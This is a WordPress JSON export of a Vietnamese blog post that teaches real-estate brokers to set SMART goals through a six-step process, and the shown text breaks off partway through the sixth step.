{"id":33038,"date":"2021-12-07T10:47:01","date_gmt":"2021-12-07T03:47:01","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=33038"},"modified":"2025-10-22T03:51:55","modified_gmt":"2025-10-21T20:51:55","slug":"thiet-lap-muc-tieu-smart","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/","title":{"rendered":"Ngh\u1ec7 thu\u1eadt thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART cho m\u00f4i gi\u1edbi B\u0110S chuy\u00ean nghi\u1ec7p"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>M\u1ed9t n\u0103m n\u1eefa l\u1ea1i s\u1eafp kh\u00e9p l\u1ea1i, c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n ch\u1eafc h\u1eb3n \u0111ang \u1ea5p \u1ee7 cho m\u00ecnh\u00a0nh\u1eefng d\u1ef1 \u0111\u1ecbnh v\u00e0 k\u1ebf ho\u1ea1ch cho m\u1ed9t ch\u1eb7ng \u0111\u01b0\u1eddng m\u1edbi sau chu\u1ed7i ng\u00e0y b\u1ecb \u1ea3nh h\u01b0\u1edfng n\u1eb7ng n\u1ec1 b\u1edfi \u0111\u1ea1i d\u1ecbch Covid-19. Tuy nhi\u00ean, h\u1ea7u h\u1ebft m\u1ecdi ng\u01b0\u1eddi v\u1eabn m\u01a1 h\u1ed3 v\u1edbi ch\u00ednh ho\u1ea1ch \u0111\u1ecbnh c\u1ee7a m\u00ecnh m\u00e0 ch\u01b0a \u0111\u1eb7t ch\u00fang th\u00e0nh nh\u1eefng m\u1ee5c ti\u00eau m\u1ed9t c\u00e1ch r\u00f5 r\u00e0ng (thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART). <\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Trong B\u0110S, vi\u1ec7c thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau kinh doanh \u0111\u00f3ng vai tr\u00f2 v\u00f4 c\u00f9ng quan tr\u1ecdng. Trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y, <a href=\"https:\/\/reti.vn\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/\" rel=\"noreferrer noopener\">RETI <\/a>s\u1ebd gi\u00fap b\u1ea1n th\u1ef1c hi\u1ec7n k\u1ebf ho\u1ea1ch c\u1ee7a m\u00ecnh m\u1ed9t c\u00e1ch d\u1ec5 d\u00e0ng h\u01a1n v\u1edbi quy tr\u00ecnh 6 b\u01b0\u1edbc thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART cho m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a13d6473b00f\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a13d6473b00f\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Cong_cu_thiet_lap_muc_tieu_SMART_la_gi\" >C\u00f4ng c\u1ee5 thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART l\u00e0 g\u00ec?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Tai_sao_cac_nha_moi_gioi_can_phai_thiet_lap_muc_tieu\" >T\u1ea1i sao c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi c\u1ea7n ph\u1ea3i thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Quy_trinh_6_buoc_thiet_lap_muc_tieu_SMART\" >Quy tr\u00ecnh 6 b\u01b0\u1edbc thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Buoc_1_Xac_dinh_chinh_xac_muc_tieu_SMART_cua_ban_la_gi\" >B\u01b0\u1edbc 1: X\u00e1c \u0111\u1ecbnh ch\u00ednh x\u00e1c m\u1ee5c ti\u00eau SMART c\u1ee7a b\u1ea1n l\u00e0 g\u00ec?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Buoc_2_Viet_muc_tieu_SMART_vao_giay_hoac_van_ban\" >B\u01b0\u1edbc 2: Vi\u1ebft m\u1ee5c ti\u00eau SMART v\u00e0o gi\u1ea5y ho\u1eb7c v\u0103n b\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Buoc_3_Dat_thoi_gian_cho_muc_tieu_SMART\" >B\u01b0\u1edbc 3: \u0110\u1eb7t th\u1eddi gian cho m\u1ee5c ti\u00eau SMART<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Buoc_4_Liet_ke_tat_ca_nhung_gi_co_the_lam_de_dat_duoc_muc_tieu_SMART\" >B\u01b0\u1edbc 4: Li\u1ec7t k\u00ea t\u1ea5t c\u1ea3 nh\u1eefng g\u00ec c\u00f3 th\u1ec3 l\u00e0m \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee5c ti\u00eau SMART<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Buoc_5_Sap_xep_lai_danh_sach_cac_viec_can_lam_cho_muc_tieu_SMART\" >B\u01b0\u1edbc 5: S\u1eafp x\u1ebfp l\u1ea1i danh s\u00e1ch c\u00e1c vi\u1ec7c c\u1ea7n l\u00e0m cho m\u1ee5c ti\u00eau SMART<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/thiet-lap-muc-tieu-smart\/#Buoc_6_Hanh_dong_dan_den_thanh_cong\" >B\u01b0\u1edbc 6: H\u00e0nh \u0111\u1ed9ng d\u1eabn \u0111\u1ebfn th\u00e0nh c\u00f4ng<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cong_cu_thiet_lap_muc_tieu_SMART_la_gi\"><\/span>C\u00f4ng c\u1ee5 thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART l\u00e0 g\u00ec?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SMART l\u00e0 t\u1eeb vi\u1ebft t\u1eaft cho ph\u01b0\u01a1ng ph\u00e1p t\u1ea1o m\u1ee5c ti\u00eau hi\u1ec7u qu\u1ea3. SMART \u0111\u01b0\u1ee3c vi\u1ebft t\u1eaft b\u1edfi 5 t\u00ednh ch\u1ea5t m\u00e0 m\u1ed9t m\u1ee5c ti\u00eau c\u1ea7n ph\u1ea3i c\u00f3:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>SPECIFIC (c\u1ee5 th\u1ec3)<\/li><li>MEASURABLE (t\u00ednh to\u00e1n \u0111\u01b0\u1ee3c)<\/li><li>ACHIEVABLE (t\u00ednh kh\u1ea3 thi)<\/li><li>RELEVANT (ph\u00f9 h\u1ee3p)<\/li><li>TIME-BOND (ki\u1ec3m so\u00e1t th\u1eddi gian)<\/li><\/ul>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/PPAPwAb.png\" alt=\"nghe-thuat-thiet-lap-muc-tieu-smart-cho-moi-gioi-bds-chuyen-nghiep\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" \/><figcaption>SMART &#8211; ngh\u1ec7 thu\u1eadt thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau cho m\u00f4i gi\u1edbi B\u0110S chuy\u00ean nghi\u1ec7p<\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Ph\u01b0\u01a1ng ph\u00e1p SMART l\u00e0 m\u1ed9t trong nh\u1eefng c\u00f4ng c\u1ee5 ph\u1ed5 bi\u1ebfn v\u00e0 hi\u1ec7u qu\u1ea3 nh\u1ea5t \u0111\u1ec3 \u0111\u1eb7t ra m\u1ee5c ti\u00eau th\u1ef1c t\u1ebf v\u00e0 c\u00f3 kh\u1ea3 n\u0103ng ho\u00e0n th\u00e0nh. Ph\u01b0\u01a1ng ph\u00e1p thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART l\u00e0 c\u00e1c b\u1eadc thang mang l\u1ea1i cho b\u1ea1n \u0111\u1ed9ng l\u1ef1c, \u0111\u1ec1 ra l\u1ed9 tr\u00ecnh v\u00e0 ph\u01b0\u01a1ng h\u01b0\u1edbng \u0111\u1ec3 \u0111\u1ea1t t\u1edbi th\u00e0nh c\u00f4ng.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tai_sao_cac_nha_moi_gioi_can_phai_thiet_lap_muc_tieu\"><\/span>T\u1ea1i sao c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi c\u1ea7n ph\u1ea3i thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Khi b\u01b0\u1edbc ch\u00e2n v\u00e0o ngh\u1ec1 b\u1ea5t \u0111\u1ed9ng s\u1ea3n, c\u00f3 nh\u1eefng ng\u01b0\u1eddi g\u1eb7t h\u00e1i \u0111\u01b0\u1ee3c th\u00e0nh c\u00f4ng r\u1ef1c r\u1ee1 v\u00e0 tr\u1edf n\u00ean gi\u00e0u c\u00f3 ch\u1ec9 sau v\u00e0i n\u0103m hay v\u00e0i th\u00e1ng. Nh\u01b0ng l\u1ea1i c\u00f3 nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 b\u1ecf ngh\u1ec1 d\u00f9 ch\u1ec9 m\u1edbi tham gia v\u00e0o l\u0129nh v\u1ef1c B\u0110S v\u00e0i th\u00e1ng. V\u1eady nguy\u00ean do l\u00e0 g\u00ec?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ng\u01b0\u1eddi kh\u00f4ng c\u00f3 m\u1ee5c ti\u00eau gi\u1ed1ng nh\u01b0 con thuy\u1ec1n l\u00eanh \u0111\u00eanh tr\u00ean bi\u1ec3n m\u00e0 kh\u00f4ng c\u00f3 \u0111\u00edch \u0111\u1ebfn, m\u00f4ng lung v\u1edbi \u0111\u01b0\u1eddng h\u01b0\u1edbng c\u1ee7a m\u00ecnh, h\u00e0ng ng\u00e0y n\u00f3 l\u1eadp l\u1edd, lang thang v\u00e0 \u0111\u1ec3 c\u01a1n s\u00f3ng \u0111\u01b0a t\u1edbi \u0111\u00e2u t\u00f9y th\u00edch. Ng\u01b0\u1eddi c\u00f3 m\u1ee5c ti\u00eau gi\u1ed1ng nh\u01b0 con thuy\u1ec1n c\u00f3 h\u1ea3i tr\u00ecnh r\u00f5 r\u00e0ng, n\u00f3 bi\u1ebft nhi\u1ec7m v\u1ee5 c\u1ee7a m\u00ecnh v\u00e0 \u0111i\u1ec3m c\u1ea7n \u0111\u1ebfn. T\u1ea5t nhi\u00ean n\u00f3 s\u1ebd ho\u00e0n th\u00e0nh nhi\u1ec7m v\u1ee5 m\u1ed9t c\u00e1ch d\u1ec5 d\u00e0ng v\u00e0 t\u1ea1i \u0111\u00edch \u0111\u1ebfn s\u1ebd c\u00f3 nh\u1eefng ph\u1ea7n th\u01b0\u1edfng x\u1ee9ng \u0111\u00e1ng l\u00e0 th\u00e0nh c\u00f4ng v\u00e0 h\u1ea1nh ph\u00fac m\u00e0 cu\u1ed9c s\u1ed1ng d\u00e0nh cho n\u00f3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trong ngh\u1ec1 m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u0169ng v\u1eady, nh\u1eefng ng\u01b0\u1eddi th\u00e0nh c\u00f4ng l\u00e0 nh\u1eefng ng\u01b0\u1eddi lu\u00f4n \u0111\u1eb7t m\u1ee5c ti\u00eau SMART h\u00e0ng ng\u00e0y, ghi ch\u00fang v\u00e0o s\u1ed5 k\u1ebf ho\u1ea1ch c\u00f4ng vi\u1ec7c v\u00e0 n\u1ed7 l\u1ef1c ho\u00e0n th\u00e0nh m\u1ee5c ti\u00eau.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/dDluYhD.png\" alt=\"nghe-thuat-thiet-lap-muc-tieu-smart-cho-moi-gioi-bds-chuyen-nghiep\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" \/><figcaption>X\u00e1c \u0111\u1ecbnh r\u00f5 m\u1ee5c ti\u00eau gi\u00fap c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi v\u1ec1 \u0111\u00edch th\u00e0nh c\u00f4ng<\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt;<a href=\"https:\/\/reti.vn\/blog\/lam-moi-gioi-nha-dat-can-nhung-gi-cach-moi-gioi-bds\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/blog\/lam-moi-gioi-nha-dat-can-nhung-gi-cach-moi-gioi-bds\/\" rel=\"noreferrer noopener\">L\u00e0m m\u00f4i gi\u1edbi nh\u00e0 \u0111\u1ea5t c\u1ea7n nh\u1eefng g\u00ec \u2013 C\u00e1ch m\u00f4i gi\u1edbi B\u0110S hi\u1ec7u qu\u1ea3 b\u1ea1n n\u00ean bi\u1ebft<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Quy_trinh_6_buoc_thiet_lap_muc_tieu_SMART\"><\/span>Quy tr\u00ecnh 6 b\u01b0\u1edbc thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_1_Xac_dinh_chinh_xac_muc_tieu_SMART_cua_ban_la_gi\"><\/span>B\u01b0\u1edbc 1: X\u00e1c \u0111\u1ecbnh ch\u00ednh x\u00e1c m\u1ee5c ti\u00eau SMART c\u1ee7a b\u1ea1n l\u00e0 g\u00ec?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">N\u00f3i m\u1ed9t c\u00e1ch \u0111\u01a1n gi\u1ea3n, b\u01b0\u1edbc \u0111\u1ea7u ti\u00ean \u0111\u1ec3 thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART cho c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi B\u0110S l\u00e0 quy\u1ebft \u0111\u1ecbnh ch\u00ednh x\u00e1c nh\u1eefng g\u00ec b\u1ea1n mu\u1ed1n. H\u00e3y t\u1ef1 \u0111\u1eb7t ra nh\u1eefng c\u00e2u h\u1ecfi cho b\u1ea3n th\u00e2n: B\u1ea1n mu\u1ed1n \u0111\u1ea1t \u0111\u01b0\u1ee3c nh\u1eefng g\u00ec? M\u1ee5c ti\u00eau tr\u1ecdng t\u00e2m c\u1ee7a b\u1ea1n l\u00e0 g\u00ec? <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ed1i v\u1edbi c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi B\u0110S th\u00ec m\u1ee5c ti\u00eau \u0111\u1eb7t ra c\u00f3 th\u1ec3 l\u00e0 c\u00e1c ch\u1ee7 \u0111\u1ec1 nh\u01b0: T\u0103ng kh\u1ea3 n\u0103ng nh\u1eadn di\u1ec7n th\u01b0\u01a1ng hi\u1ec7u c\u1ee7a kh\u00e1ch h\u00e0ng, t\u0103ng s\u1ed1 l\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng, t\u0103ng doanh s\u1ed1\u2026 \u0110\u1eebng qu\u00ean \u0111\u1ea3m b\u1ea3o 5 y\u1ebfu t\u1ed1 c\u1ee7a vi\u1ec7c thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART: C\u1ee5 th\u1ec3, \u0111o l\u01b0\u1eddng \u0111\u01b0\u1ee3c, c\u00f3 th\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c, c\u00f3 li\u00ean quan v\u00e0 r\u00e0ng bu\u1ed9c v\u1ec1 th\u1eddi gian.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/YZstpfD.png\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption>Thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau c\u1ee5 th\u1ec3, r\u00f5 r\u00e0ng gi\u00fap b\u1ea1n c\u1ee5 th\u1ec3 h\u00f3a \u0111\u01b0\u1ee3c c\u00e1c ho\u1ea1t \u0111\u1ed9ng c\u1ee7a m\u00ecnh<\/figcaption><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_2_Viet_muc_tieu_SMART_vao_giay_hoac_van_ban\"><\/span>B\u01b0\u1edbc 2: Vi\u1ebft m\u1ee5c ti\u00eau SMART v\u00e0o gi\u1ea5y ho\u1eb7c v\u0103n b\u1ea3n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ecdi ng\u01b0\u1eddi th\u01b0\u1eddng c\u00f3 xu h\u01b0\u1edbng ch\u1ec9 l\u00ean m\u1ee5c ti\u00eau cho m\u00ecnh trong \u0111\u1ea7u m\u00e0 kh\u00f4ng v\u1ea1ch ra m\u1ee5c ti\u00eau cho m\u00ecnh b\u1eb1ng m\u1ed9t v\u0103n b\u1ea3n. C\u00f3 m\u1ed9t th\u1ed1ng k\u00ea cho th\u1ea5y ch\u1ec9 c\u00f3 3% ng\u01b0\u1eddi tr\u01b0\u1edfng th\u00e0nh c\u00f3 m\u1ee5c ti\u00eau b\u1eb1ng v\u0103n b\u1ea3n. V\u00e0 c\u0169ng theo \u0111\u00f3, ng\u01b0\u1eddi c\u00f3 m\u1ee5c ti\u00eau b\u1eb1ng v\u0103n b\u1ea3n ki\u1ebfm \u0111\u01b0\u1ee3c ti\u1ec1n trung b\u00ecnh g\u1ea5p 10 l\u1ea7n nh\u1eefng ng\u01b0\u1eddi ch\u1ec9 l\u00ean m\u1ee5c ti\u00eau m\u1ed9t c\u00e1ch \u0111\u01a1n thu\u1ea7n. C\u00f3 m\u1ed9t c\u00e2u ng\u1ea1n ng\u1eef c\u0169 c\u1ee7a <a href=\"https:\/\/vi.wikipedia.org\/wiki\/Ph%C6%B0%C6%A1ng_T%C3%A2y\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/vi.wikipedia.org\/wiki\/Ph%C6%B0%C6%A1ng_T%C3%A2y\" rel=\"noreferrer noopener\">ph\u01b0\u01a1ng T\u00e2y<\/a> r\u1ea5t thuy\u1ebft ph\u1ee5c cho \u0111\u1ebfn t\u1eadn ng\u00e0y nay: \u201c<em>B\u1ea1n c\u00f3 th\u1ec3 b\u1eafn tr\u00fang m\u1ee5c ti\u00eau n\u1ebfu nh\u00ecn th\u1ea5y r\u00f5<\/em>\u201d. B\u1ea1n h\u00e3y \u00e1p d\u1ee5ng \u0111i\u1ec1u n\u00e0y khi thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/TXLZfw4.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption>\u0110\u1eb7t b\u00fat v\u00e0 vi\u1ebft r\u00f5 m\u1ee5c ti\u00eau c\u1ee7a b\u1ea1n l\u00e0 g\u00ec?<\/figcaption><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_3_Dat_thoi_gian_cho_muc_tieu_SMART\"><\/span>B\u01b0\u1edbc 3: \u0110\u1eb7t th\u1eddi gian cho m\u1ee5c ti\u00eau SMART<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Vi\u1ec7c r\u00e0ng bu\u1ed9c th\u1eddi gian cho m\u1ee5c ti\u00eau ngh\u0129a l\u00e0 b\u1ea1n \u0111\u1eb7t ra th\u1eddi gian ch\u00ednh x\u00e1c khi n\u00e0o b\u1ea1n ph\u1ea3i \u0111\u1ea1t \u0111\u01b0\u1ee3c n\u00f3. C\u00e1ch hi\u1ec7u qu\u1ea3 nh\u1ea5t l\u00e0 chia nh\u1ecf c\u00e1c d\u1ea5u m\u1ed1c th\u00e0nh ng\u00e0y, tu\u1ea7n, th\u00e1ng v\u00e0 n\u0103m. Trong \u0111\u00f3, m\u1ee5c ti\u00eau h\u1eb1ng ng\u00e0y ch\u00ednh l\u00e0 k\u1ebf ho\u1ea1ch h\u00e0nh \u0111\u1ed9ng c\u1ee7a b\u1ea1n.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/VWtirzU.jpg\" alt=\"nghe-thuat-thiet-lap-muc-tieu-smart-cho-moi-gioi-bds-chuyen-nghiep\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" \/><figcaption>Ki\u1ec3m so\u00e1t th\u1eddi gian trong thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART gi\u00fap b\u1ea1n t\u1ed1i \u01b0u hi\u1ec7u qu\u1ea3 c\u00f4ng vi\u1ec7c<\/figcaption><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_4_Liet_ke_tat_ca_nhung_gi_co_the_lam_de_dat_duoc_muc_tieu_SMART\"><\/span>B\u01b0\u1edbc 4: Li\u1ec7t k\u00ea t\u1ea5t c\u1ea3 nh\u1eefng g\u00ec c\u00f3 th\u1ec3 l\u00e0m \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee5c ti\u00eau SMART<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u00e2y l\u00e0 m\u1ed9t b\u01b0\u1edbc r\u1ea5t quan tr\u1ecdng, l\u00fac n\u00e0y b\u1ea1n c\u1ea7n xem x\u00e9t l\u1ea1i m\u1ee5c ti\u00eau SMART \u0111\u00e3 \u0111\u1eb7t v\u00e0 vi\u1ebft ra nh\u1eefng \u00fd t\u01b0\u1edfng, li\u1ec7t k\u00ea c\u1ee5 th\u1ec3 t\u1ea5t c\u1ea3 nh\u1eefng h\u00e0nh \u0111\u1ed9ng b\u1ea1n ph\u1ea3i l\u00e0m \u0111\u1ec3 m\u1ee5c ti\u00eau \u0111\u01b0\u1ee3c \u0111i \u0111\u00fang h\u01b0\u1edbng v\u00e0 \u0111\u1ea1t hi\u1ec7u qu\u1ea3 theo l\u1ed9 tr\u00ecnh th\u1eddi gian b\u1ea1n \u0111\u00e3 \u0111\u1eb7t ra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ecdc th\u00eam <a href=\"https:\/\/agent.reti.vn\/moi-gioi-bds-tim-huong-di-moi-sau-kho-khan\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/moi-gioi-bds-tim-huong-di-moi-sau-kho-khan\/\" rel=\"noreferrer noopener\">M\u00f4i gi\u1edbi B\u0110S t\u00ecm h\u01b0\u1edbng \u0111i m\u1edbi sau th\u1eddi gian kh\u00f3 kh\u0103n v\u00ec d\u1ecbch b\u1ec7nh<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_5_Sap_xep_lai_danh_sach_cac_viec_can_lam_cho_muc_tieu_SMART\"><\/span>B\u01b0\u1edbc 5: S\u1eafp x\u1ebfp l\u1ea1i danh s\u00e1ch c\u00e1c vi\u1ec7c c\u1ea7n l\u00e0m cho m\u1ee5c ti\u00eau SMART<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Sau khi \u0111\u00e3 li\u1ec7t k\u00ea t\u1ea5t c\u1ea3 nh\u1eefng ho\u1ea1t \u0111\u1ed9ng v\u00e0 nh\u1eefng vi\u1ec7c c\u1ea7n l\u00e0m, \u1edf b\u01b0\u1edbc n\u00e0y, b\u1ea1n s\u1ebd c\u1ea7n s\u1eafp x\u1ebfp, h\u1ec7 th\u1ed1ng l\u1ea1i \u0111\u1ec3 xem vi\u1ec7c n\u00e0o c\u1ea7n l\u00e0m tr\u01b0\u1edbc, vi\u1ec7c n\u00e0o c\u1ea7n l\u00e0m sau. B\u1ea1n n\u00ean g\u1ea1ch \u0111\u1ea7u d\u00f2ng theo th\u1ee9 t\u1ef1 \u01b0u ti\u00ean, sau \u0111\u00f3 m\u1edbi \u0111\u1ebfn c\u00f4ng \u0111o\u1ea1n ph\u00e2n b\u1ed5 th\u1eddi gian v\u00e0 n\u1ed7 l\u1ef1c. H\u00e3y nh\u1edb r\u1eb1ng, c\u00e1ch duy nh\u1ea5t \u0111\u1ec3 \u0111\u1ea1t m\u1ee5c ti\u00eau SMART l\u00e0 t\u1eadp trung th\u1ef1c hi\u1ec7n c\u00e1c h\u00e0nh \u0111\u1ed9ng.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_6_Hanh_dong_dan_den_thanh_cong\"><\/span>B\u01b0\u1edbc 6: H\u00e0nh \u0111\u1ed9ng d\u1eabn \u0111\u1ebfn th\u00e0nh c\u00f4ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Sau khi ho\u1ea1ch \u0111\u1ecbnh xong h\u1ebft t\u1ea5t c\u1ea3 nh\u1eefng vi\u1ec7c 